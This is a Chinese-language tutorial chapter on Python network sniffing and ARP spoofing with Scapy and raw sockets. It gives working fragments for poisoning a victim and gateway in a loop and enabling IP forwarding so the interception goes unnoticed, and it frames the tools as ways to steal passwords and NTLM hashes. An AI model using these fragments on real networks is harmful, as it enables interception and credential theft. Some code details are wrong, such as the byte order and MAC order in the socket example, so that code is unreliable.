Python程序設計-安全滲透測試--網絡嗅探與欺騙

  • 如果想要徹底瞭解一個網絡,那麼最好的辦法就是對網絡中的流量進行嗅探
  • 在本章中將會編寫幾個嗅探工具,這些嗅探工具可以用來竊取網絡中明文傳輸的密碼,監視網絡中的數據流向,甚至可以收集遠程登錄所使用的NTLM數據包(這個數據包中包含登錄用的用戶名和使用Hash加密的密碼)。

網絡數據嗅探

編寫網絡嗅探工具

  • 在Scapy中提供了一種專門用來捕獲數據包的函數sniff(),這個函數的功能十分強大,首先使用help函數來查看一下它的使用方法
help(sniff)

在這裏插入圖片描述

  • 函數sniff()中可以使用多個參數,下面先來了解其中幾個比較重要參數的含義。
    1. count:表示要捕獲數據包的數量。默認值爲0,表示不限制數量。
    2. store:表示是否要保存捕獲到的數據包,默認值爲1。
    3. prn:這個參數是一個函數,這個函數將會應用在每一個捕獲到的數據包上。如果這個函數有返回值,將會顯示出來。默認是空
    4. iface:表示要使用的網卡或者網卡列表。
  • sniff()還支持了過濾器的使用
    1. 這個過濾器使用了一種功能非常強大的過濾語法——“伯克利包過濾”語法。
    2. 這個規則簡稱爲BPF,利用它可以確定該獲取和檢查哪些流量,忽略哪些流量。
    3. BPF可以幫助我們通過比較各個層協議中數據字段值的方法對流量進行過濾。
    4. BPF的主要特點是使用一個名爲“原語”的方法來完成對網絡數據包的描述,
      例如,可以使用“host”來描述主機,“port”來描述端口,同時也支持“與”“或”“非”等邏輯運算。可以限定的內容包括地址、協議等。
  • 使用這種語法創建出來的過濾器被稱爲BPF表達式,每個表達式包含一個或多個原語。每個原語中又包含一個或多個限定詞,主要有三個限定詞:Type、Dir 和 Proto。
    1. Type用來規定使用名字或數字代表的類型,例如host、net和port等。
    2. Dir用來規定流量的方向,例如src、dst和src and dst等。
    3. Proto用來規定匹配的協議,例如ip、tcp和arp等。
      “host 192.168.169.133”就是一條最爲常見的過濾器,它用來過濾掉除了本機和192.168.169.133以外的所有流量。如果希望再將範圍限制小一些,例如,只捕獲tcp類型的流量就可以使用“與”運算符,如“host 192.168.169.133 && tcp”。
  • 一些常見的過濾器。
    1. 只捕獲與網絡中某一個IP的主機進行交互的流量:“host 192.168.1.1”。
    2. 只捕獲與網絡中某一個MAC地址的主機交互的流量:“ether host 00-1a-a0-52-e2-a0”。
    3. 只捕獲來自網絡中某一個IP的主機的流量:“src host 192.168.1.1”。
    4. 只捕獲去往網絡中某一個IP的主機的流量:“dst host 192.168.1.1”,host也可以省略。
    5. 只捕獲23端口的流量:“port 23”。
    6. 捕獲除了23端口以外的流量:“!23”。
    7. 只捕獲目的端口爲80的流量:“dst port 80”。
    8. 只捕獲ICMP流量:“icmp”。
    9. 只捕獲type爲3,code爲0的ICMP流量:“icmp[0] = 3 &&icmp[1] = 0”。
  • 下面使用sniff()來捕獲一些數據包並顯示出來
  • 例如,源地址爲192.168.169.133,端口爲80的tcp報文
    在這裏插入圖片描述
  • 使用了過濾器的sniff()
  • 如果希望即時顯示捕獲的數據包,就可以使用prn函數選項,
  • 函數的內容爲prn=lambda x:x.summary()
    在這裏插入圖片描述
  • 利用prn就可以不斷地打印輸出捕獲到的數據包的內容
  • 這個函數可以實現很多功能,例如輸出其中的某一個選項:使用 x[IP].src 輸出IP報文的目的地址
  • 在開啓 sniff 的時候, 訪問 目標主機的目標端口,(火狐訪問 HTTP服務器)
    在這裏插入圖片描述
  • 結果如下:
    在這裏插入圖片描述
  • 另外,也可以定義一個回調函數,例如,打印輸出這個數據包。
def Callback(packet):
	print packet.show()
  • 然後再在sniff()中調用這個函數:
sniff(prn=Callback)
  • 這些捕獲到的數據包可以使用wrpcap函數保存起來,保存的格式很多,目前最爲通用的格式爲pcap。
  • 例如,現在捕獲5個數據包並保存起來的語句如下所示。
packet = sniff(count=5) *    
wrpcap(“demo.pcap”, packet)
  • 接下來編寫一個完整的數據嗅探工具,它可以捕獲和特定主機通信的1000個數據包,並保存到catch.pcap數據包中。
  • catchPackets.py
    在這裏插入圖片描述
  • 運行結果如下:
    在這裏插入圖片描述
  • 保存的數據包如下:
    在這裏插入圖片描述

調用WireShark抓包

  • 在Scapy中查看這些數據包可能有些雜亂,可以將數據包放到更加專業的工具中來查看
  • 首先在Scapy中產生一個數據包。
packets = IP(dst="www.baidu.com")/ICMP()
  • 然後可以將這個數據包放在一個極爲優秀的網絡分析工具中打開。
wireshark(packets)

在這裏插入圖片描述

ARP原理與缺陷

  • 之所以這裏特別提到這個協議,是因爲目前網絡中大部分的監聽和欺騙技術都是源於這個協議。
  • 但是這個協議存在一個重大缺陷,就是這個過程並沒有任何的認證機制
  • 也就是說如果一臺主機收到ARP 請求數據包,並不會對這個數據包進行真僞判斷,無論這個數據包是否真的來自源主機,都會將其添加到ARP表中。
  • 因此黑客就可能會利用這個漏洞來 冒充網關 等主機。
  • arpspoof來演示一下
    在這裏插入圖片描述
  • arpspoof [-i指定使用的網卡] [-t 要欺騙的目標主機] [-r] 要僞裝成的主機
  • 例如:
  • 現在受到欺騙的主機會把攻擊者當作網關,從而把所有的數據都發送到這個主機
  • 現在arpspoof完成了對目標主機的欺騙任務,可以截獲到目標主機發往網關的數據包。
  • 但是這裏有兩個問題:
    • 首先arpspoof僅僅是會截獲這些數據包,並不能查看這些數據包,所以還需要使用專門查看數據包的工具
      打開WireShark,就可以看到 受害者所發送的數據包
    • 第二點就是主機不會再將這些數據包轉發到網關,這樣將會導致目標主機無法正常上網,
      所以需要在主機上開啓轉發功能
      root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward
    • 這樣就可以將截獲到的數據包再轉發出去,被欺騙的主機就可以正常上網了,從而無法察覺到受到攻擊。

中間人欺騙

  • 使用Scapy庫來完成這個任務,再來看一遍ARP數據包的格式
    在這裏插入圖片描述
  • 這裏需要設置的值主要有三個:op、psrc 和 pdst。其中,op對應的是ARP類型,默認值已經是1,就是ARP請求,無須改變;psrc的值最關鍵,psrc對應前面的源IP地址
gatewayIP="192.168.26.254"     
victimIP="192.168.26.101"
  • 另外,需要使用Ether層將這個數據包發送出去,查看一下Ether數據包的格式
    在這裏插入圖片描述
  • 這一層只有三個參數,dst是目的硬件地址,src是源硬件地址
srcMAC="00:0c:29:b4:07:1b"     
dstMAC="00:0c:29:2D:7F:89"
  • 接下來構造併發送這個數據包。
sendp(Ether(dst=dstMAC,src=srcMAC)/ARP(psrc=gatewayIP,pdst=victimIP)
  • 即使不爲Ether中的dst和src賦值,系統其實也會自動將src的值設置爲使用Kali Linux 主機的硬件地址
sendp(Ether()/ARP(psrc=gatewayIP,pdst=victimIP))
  • 成功發送這個數據包之後,查看一下被攻擊計算機的ARP緩存表
  • 現在編寫一個完整的ARP欺騙程序。
    在這裏插入圖片描述
  • 在目標主機中查看ARP緩存表,可以看到這時這個緩存表已經受到欺騙
    在這裏插入圖片描述
  • 也可以將這個程序再完善一下,網絡嗅探功能也加進來,同時欺騙受害者主機和網關,將硬件地址改爲自動獲取等。
  • 首先編寫一個能獲取目標硬件地址的函數。
  • Scapy中有一個 getmacbyip() 函數,這個函數的作用是給出指定IP地址主機的硬件地址。
  • 在Python中使用這個函數來獲取目標主機的硬件地址
    在這裏插入圖片描述
  • 如果要開始的是一次中間人欺騙,那麼需要同時對目標主機和網關都進行欺騙
    在這裏插入圖片描述
  • 而中間人欺騙的原理就是要讓目標主機誤認爲Kali Linux 纔是網關,同時讓網關誤認爲Kali Linux 纔是目標主機,這樣兩者之間的通信方式就變成了如圖所示的形式。
    在這裏插入圖片描述
  • 要實現這一點就需要同時向目標主機和網關發送欺騙數據包。
  • 用來欺騙目標主機的數據包如下。
attackTarget = Ether()/ARP(psrc=gatewayIP,pdst=victimIP)
  • 用來欺騙網關的數據包如下。
attackGateway= Ether()/ARP(psrc= victimIP,pdst= gatewayIP)
  • 因爲ARP緩存表中表項都有生命週期,所以需要不斷對兩個主機進行欺騙。
  • 這裏使用循環發送來實現這個功能,sendp本身就有循環發送的功能,
  • 使用inter指定間隔時間,使用loop=1來實現循環發送。
sendp(attackTarget, inter=1, loop=1)
  • 接下來編寫這個完整的程序。
  • ARPPoison.py
    在這裏插入圖片描述
  • 在主機上開啓轉發功能:
 root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward

使用socket來實現這個例子

  • 相比Scapy,socket是一個更爲通用的庫文件,但是也要複雜一些
  • 首先看一下ARP數據包的格式,和以前不同,這一次要精確到每一位表示的含義
    在這裏插入圖片描述
  • 使用socket來產生一個數據包要遠比Scapy麻煩,這個數據包要分成如下多個部分
    (1)以太網目的地址,長度爲6位。
    (2)以太網源地址,長度爲6位。
    (3)幀類型,長度爲兩位。
    (4)硬件類型,長度爲兩位。
    (5)協議類型,長度爲兩位。
    (6)硬件地址長度,長度爲1位。
    (7)協議地址長度,長度爲1位。
    (8)op,長度爲兩位。
    (9)發送端以太網地址,長度爲6位。
    (10)發送端IP地址,長度爲4位。
    (11)目的以太網地址,長度爲6位。
    (12)目的IP地址,長度爲4位。
  • 利用這個庫實現中間人欺騙的原理和前面一樣,也是通過向目標發送一個僞造了的ARP請求數據包來實現的
  • 可以按照如下來填充這個數據包。
    (1)以太網目的地址:00:0c:29:2D:7F:89,這個表示要欺騙的主機的硬件地址,也可以是廣播地址ff:ff:ff:ff:ff:ff。
    (2)以太網源地址:00:0c:29:12:dd:23,這是本機的硬件地址。
    (3)幀類型:0x0806表示ARP類型,使用兩位十六進制表示爲\x08\x06。
    (4)硬件類型:1表示以太網,使用兩位十六進制表示爲\x00\x01。
    (5)協議類型:8表示IPv4,使用兩位十六進制表示爲\x08\x00。
    (6)硬件地址長度:\x06,表示6位的硬件地址。
    (7)協議地址長度:\x04,表示4位的IP地址。
    (8)op:1表示請求,2表示迴應,使用兩位十六進制表示爲\x00\x01。
    (9)發送端以太網地址:00:0c:29:12:dd:23。
    (10)發送端IP地址:192.168.169.2。
    (11)目的以太網地址:00:0c:29:2D:7F:89。
    (12)目的IP地址:192.168.169.133。
  • 在構造數據包的時候需要注意一點,網絡中傳輸IP地址等數據要使用網絡字節順序,保證數據在不同主機之間傳輸時能夠被正確解釋
  • Python socket模塊中包含一些有用的IP轉換函數,說明如下。
    (1)socket.inet_aton(ip_string):將IPv4的地址字符串(例如192.168.10.8)轉換爲32位打包的網絡字節。
    (2)socket.inet_aton(packed_ip):轉換32位的IPv4網絡字節爲IP地址的標準點號分隔字符串表示。
  • 使用socket.inet_aton(ip_string)將IP地址轉換之後才能發送出去,所以定義一下這個數據包的格式內容。
srcMAC="00:0c:29:12:dd:23"
dstMAC="00:0c:29:2D:7F:89"
code='\x08\x06'
htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'
gatewayIP = '192.168.169.2'
victimIP = '192.168.169.133'
  • 將這些內容組成一個數據包
packet=srcMAC + dstMAC + code + htype + protype + hsize + psize + opcode + srcMAC + socket.inet_aton(gatewayIP) + dstMAC+socket.inet_aton(victimIP)
  • 完整的程序如下所示。: 只是發給 被攻擊的目標主機的 包; 還需要再構造一個 發給網關的數據包;同時 kali 開啓流量轉發
    在這裏插入圖片描述
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章